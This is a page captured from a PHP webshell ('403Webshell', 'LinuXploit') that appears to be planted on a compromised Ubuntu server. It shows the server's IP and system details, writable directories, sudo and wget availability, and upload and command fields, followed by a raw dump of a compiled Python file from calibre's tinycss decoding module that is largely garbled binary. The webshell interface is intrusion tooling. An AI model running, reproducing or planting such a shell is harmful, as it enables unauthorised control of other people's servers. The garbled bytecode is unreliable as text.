403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/calibre/tinycss/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/calibre/tinycss/__pycache__/decoding.cpython-312.pyc
�

�f~#���dZddlZddlZddlmZdgZ		d/d�Zd0d�Zd�ZGd�d	�Z	e	�Z
e
ddd
fejed�dzed
�z�jfdejed��jfe
ddd
fejed�dzed
�z�jfe
ddd�dfejed�dzed�z�jfe
ddd�dfejed�dzed�z�jfe
ddd�dfejed�dzed�z�jfe
ddd�dfejed�dzed�z�jfe
ddd�dfejed�d zed!�z�jfe
ddd�dfejed"�d zed!�z�jfe
ddd�dfejed#�d$zed%�z�jfe
ddd�dfejed&�d$zed%�z�jfd'ejed(��jfd)ejed*��jfd+ejed,��jfd-ejed.��jfgZ
y)1z�
    tinycss.decoding
    ----------------

    Decoding stylesheets from bytes to Unicode.
    http://www.w3.org/TR/CSS21/syndata.html#charset

    :copyright: (c) 2012 by Simon Sapin.
    :license: BSD, see LICENSE for more details.
�N)�from_hex_bytes�decodec��|rt||�}|�||fStD]�\}}||�}|s�t|t�}|r�|\}	}
|	|j	d��}|jdd�}|j
dd�}|j
dd�j
dd�j�d	vr||
z
}|jdd�jd�}t||�}|r|r|jd
�r||fcSn||fD]}|s�t||�}|��||fcSt|d�}|�|dfSt|dd
��dfS)a;
    Determine the character encoding from the passed metadata and the
    ``@charset`` rule in the stylesheet (if any); and decode accordingly.
    If no encoding information is available or decoding fails,
    decoding defaults to UTF-8 and then fall back on ISO-8859-1.

    :param css_bytes:
        a CSS stylesheet as a byte string
    :param protocol_encoding:
        The "charset" parameter of a "Content-Type" HTTP header (if any),
        or similar metadata for other protocols.
    :param linking_encoding:
        ``<link charset="">`` or other metadata from the linking mechanism
        (if any)
    :param document_encoding:
        Encoding of the referring style sheet or document (if any)
    :return:
        A tuple of an Unicode string, with any BOM removed, and the
        encoding that was used.

    ��ascii�replaceu��?�-��_)�utf16�utf32z
@charset "�UTF-8z
ISO-8859-1F)�fallback)
�try_encoding�ENCODING_MAGIC_NUMBERS�
isinstance�tuple�grouprr�lower�encode�
startswith)�	css_bytes�protocol_encoding�linking_encoding�document_encoding�css_unicode�encoding�pattern�match�has_at_charset�extract�
endiannesss           �$/usr/lib/calibre/tinycss/decoding.pyrrs���.�"�9�.?�@���"�� 1�1�1�3����'��	�"���'��%�8�N��&.�#���"�5�;�;�q�>�2��$�?�?�7�I�>��#�+�+�H�c�:���#�#�C��,�4�4�S�"�=�C�C�E�J*�*��
�*�H�#�?�?�7�I�>�E�E�g�N��&�y�(�;�K��N�$/�$:�$:�<�$H�"�H�,�,��-�.&�'8�9�-���&�y�(�;�K��&�"�H�,�,�	-�
�y�'�2�K����G�#�#��	�<�%�@�,�N�N�c��|r	|j|�}n|j|�}|r
|ddk(r|dd}|S#ttf$rYywxYw)Nrur)r�UnicodeDecodeError�LookupError)rrrrs    r$rrTsd���	�#�*�*�8�4�K�
 �&�&�x�0���{�1�~��1�!�!�"�o�����#�K�0�	��	�s�8�A
�	A
c�|�tjt|jdd�j	d���S)N� rr)�re�escaperrr)�hex_datas r$�hex2rer.cs.��
�9�9�^�H�$4�$4�S�"�$=�$D�$D�W�$M�N�O�Or%c��eZdZdZd�Zy)�Slicerz2Slice()[start:stop:end] == slice(start, stop, end)c�,�tj|�S)N)�operator�
itemgetter)�self�slice_s  r$�__getitem__zSlicer.__getitem__is���"�"�6�*�*r%N)�__name__�
__module__�__qualname__�__doc__r6�r%r$r0r0gs
��<�+r%r0rz&EF BB BF 40 63 68 61 72 73 65 74 20 22s([^"]*?)z22 3BrzEF BB BFz40 63 68 61 72 73 65 74 20 22r�z-BEz@FE FF 00 40 00 63 00 68 00 61 00 72 00 73 00 65 0074 00 20 00 22s(([^"])*?)z00 22 00 3Bz:00 40 00 63 00 68 00 61 00 72 00 73 00 65 00 74 0020 00 22z-LEz@FF FE 40 00 63 00 68 00 61 00 72 00 73 00 65 00 7400 20 00 22 00s(([^"])*?)z22 00 3B 00z:40 00 63 00 68 00 61 00 72 00 73 00 65 00 74 00 2000 22 00��z�00 00 FE FF 00 00 00 40 00 00 00 63 00 00 00 68 0000 00 61 00 00 00 72 00 00 00 73 00 00 00 65 00 0000 74 00 00 00 20 00 00 00 22s
(([^"])*?)z00 00 00 22 00 00 00 3Bzu00 00 00 40 00 00 00 63 00 00 00 68 00 00 00 61 0000 00 72 00 00 00 73 00 00 00 65 00 00 00 74 00 0000 20 00 00 00 22z�FF FE 00 00 40 00 00 00 63 00 00 00 68 00 00 00 6100 00 00 72 00 00 00 73 00 00 00 65 00 00 00 74 0000 00 20 00 00 00 22 00 00 00s
(([^"])*?)z22 00 00 00 3B 00 00 00zu40 00 00 00 63 00 00 00 68 00 00 00 61 00 00 00 7200 00 00 73 00 00 00 65 00 00 00 74 00 00 00 20 0000 00 22 00 00 00z	UTF-32-BEz00 00 FE FFz	UTF-32-LEzFF FE 00 00z	UTF-16-BEzFE FFz	UTF-16-LEzFF FE)NNN)T)r:r2r+�polyglot.binaryr�__all__rrr.r0�Slice�compiler rr;r%r$�<module>rCs��	��	�*��*��)-�48�:O�z�P�+�+�	����A�h��^�Z�R�Z�Z��7�8�
�	�
��/�	��!�5�"�

�j�b�j�j��z���!�E�#��A�h��^�Z�R�Z�Z��.�/�
�	�
��/�	��!�5�"�
�A�D�q�D�k�5��:�2�:�:�� �	!�
�	���
�	 �!�"'��	(��A�D�q�D�k�5��:�2�:�:���	�
�	���
�	 �!�"'��	(��C�a�C�j�%��*�"�*�*�� �	!�
�	���
�	 �!�"'��	(��C�a�C�j�%��*�"�*�*���	�
�	���
�	 �!�"'��	(��A�D�q�D�k�5��:�2�:�:��/�	0�'�	'��*�
+�		,�-�
.3�U�4��A�D�q�D�k�5��:�2�:�:��#�	$�'�	'��*�
+�		,�-�
.3�U�4�N�C�a�C�j�%��*�"�*�*��/�	0�'�	'��*�
+�		,�-�
.3�U�4��C�a�C�j�%��*�"�*�*��#�	$�'�	'��*�
+�		,�-�
.3�U�4��*�"�*�*��}���$�u�&��*�"�*�*��}���$�u�&��*�"�*�*��w����� ��*�"�*�*��w����� �cI�r%

Youez - 2016 - github.com/yon3zu
LinuXploit